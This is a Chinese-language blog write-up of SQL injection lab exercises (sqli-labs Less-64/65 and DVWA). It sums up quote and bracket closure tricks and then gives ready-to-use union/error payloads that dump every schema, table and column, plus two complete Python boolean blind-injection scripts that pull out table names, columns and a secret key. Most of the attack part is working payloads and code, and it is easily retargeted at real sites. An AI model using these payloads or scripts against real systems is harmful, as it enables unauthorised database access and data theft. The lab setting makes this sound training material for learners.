稍微修改上局的脚本接着用

image-20210121230738448

less-64

闭合

1
?id=1))%23

同样是布尔盲注

image-20210121231306768

less-65

闭合

1
?id=1")%23

还是布尔盲注

image-20210121231643079

小结

闭合

感觉闭合这个考点在这套题里面比较多见,这里做一个小小总结

select 语句,注入点的闭合,会用到以下几个符号

  • 单引号 '
  • 双引号 "
  • 圆括号 )

而闭合的方式会有以下几种

  • 无闭合

    1
    2
    $id = $id;
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 单引号闭合

    1
    2
    $id = ''' . $id . ''';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 双引号闭合

    1
    2
    $id = ''' . $id . ''';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 括号闭合

    1
    2
    $id = $id;
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
  • 混合闭合

    1
    2
    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=((($id))) LIMIT 0,1";

    以上情况为,双引号+三对括号

面对这样的注入点

1
http://inhann.top:12345/Less-4/?id=

我们的第一步往往是闭合

像这样

1
http://inhann.top:12345/Less-4/?id=1'%23
1
http://inhann.top:12345/Less-4/?id=1"%23
1
http://inhann.top:12345/Less-4/?id=1"))%23
1
http://inhann.top:12345/Less-4/?id=1%23

在一定情况下,可以用下面pdf中所示的步骤完成闭合

不过还是得先明确以下所述闭合手段的局限性

  • id几乎直接放到select语句中,最多被escape了
  • 发生syntax error的时候可以辨认

简单的情况下,先两个引号都试试,看看报没报错,都报错就说明没用到引号

然后加注释,加了注释还报错了,说明用到了括号

报错注入

报错注入威力巨大

这里分享几个payload

超级payload

分享几个用得很爽的payload

1
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)

及其一般形式

1
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)
  • dvwa low
1
http://localhost/dvwa/vulnerabilities/sqli/?id='union select "a",(select (select (@p) from (select(@p:=0x00),(select (@p) from (information_schema.columns) where (table_schema>=@p) and (@p)in (@p:=concat(@p,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a))%23&Submit=Submit#

image-20210130201015071

  • dvwa medium
1
id=1 union select 1,(select (select (@p) from (select(@p:=0x00),(select (@p) from (information_schema.columns) where (table_schema>=@p) and (@p)in (@p:=concat(@p,0x0D,0x0A,0x5b,table_schema,0x5d,0x3e,table_name,0x3e,column_name,0x7C))))a))%23&Submit=Submit

image-20210130202412762

  • dvwa high
1
1'union select 1,(select (select (@p) from (select(@p:=0x00),(select (@p) from (information_schema.columns) where (table_schema>=@p) and (@p)in (@p:=concat(@p,0x0D,0x0A,0x5b,table_schema,0x5d,0x3e,table_name,0x3e,column_name,0x7C))))a))#

image-20210130203457790

select 回显数据

最最基础的select回显数据,也分享一波

Column Num

获取columnNum的payload

盲注脚本

这里分享个布尔盲注的脚本

面向对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding=utf-8
import requests

class BoolSqlier:
url = ""
def __init__(self,database=""):
self.database = database
self.url = BoolSqlier.url

def get_database(self):

def send_request(i,mid):

payload = "1'and(ascii(substr(database(),{},1))>{})#".format(i,mid)
params = {"id":payload}
resp = requests.get(self.url,params=params)
return resp

def database_i_ascii_bt_mid(resp):
if "You are in..........." in resp.text:
return True
else:
return False

database=""
for i in range(1,50):
#head 和 tail 决定了database的字符的取值范围
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
resp = send_request(i,mid)

if database_i_ascii_bt_mid(resp):
head=mid+1
else:
tail=mid
if(head!=32):
database+=chr(head)
print(database)
self.database = database
print(database)



if __name__ == "__main__":
BoolSqlier.url = "http://localhost:12345/Less-5/"
sqli = BoolSqlier()
sqli.get_database()

面向过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
session = requests.session()
url = "http://localhost/sqli-labs/Less-65/"
what_i_want = ""
table_name = ""
column_name = ""
key = ""
count = 0
text = ""
for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1\") and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<={}#".format(i,mid)
params = {"id":payload}
resp = session.get(url=url,params=params)
if "Angelina" in resp.text:
return True
return False

print("--"*70,"table_name")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
table_name+=chr(low)
print(table_name)
count = 0
print("!!"*70)
print("This is Your Loved table_name!!!!!!!!!!")
print(table_name)


for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1\") and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},1))<={}#".format(table_name,i,mid)
params = {"id":payload}
resp = session.get(url=url,params=params)

if "Angelina" in resp.text:
return True
return False

print("--"*70,"column_name")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
column_name+=chr(low)
print(column_name)
count = 0
import re
pattern = "secret_...."
column_name = re.findall(pattern,column_name)[0]
print("!!"*70)
print("This is Your Loved column_name!!!!!!!!!!")
print(column_name)

for i in range(1,30):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
payload = "1\") and ascii(mid((select group_concat({}) from challenges.{}),{},1))<={}#".format(column_name,table_name,i,mid)
print(payload)
params = {"id":payload}
resp = session.get(url=url,params=params)
#print(resp.text)
# if mid==79:
# print(resp.text)
if "Angelina" in resp.text:
return True
return False

print("--"*70,"key")
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
key+=chr(low)
print(key)
count = 0

print("!!"*70)
print("This is your loved key!!!!!!!!!!")
print(key)

推荐阅读

好了,完结撒花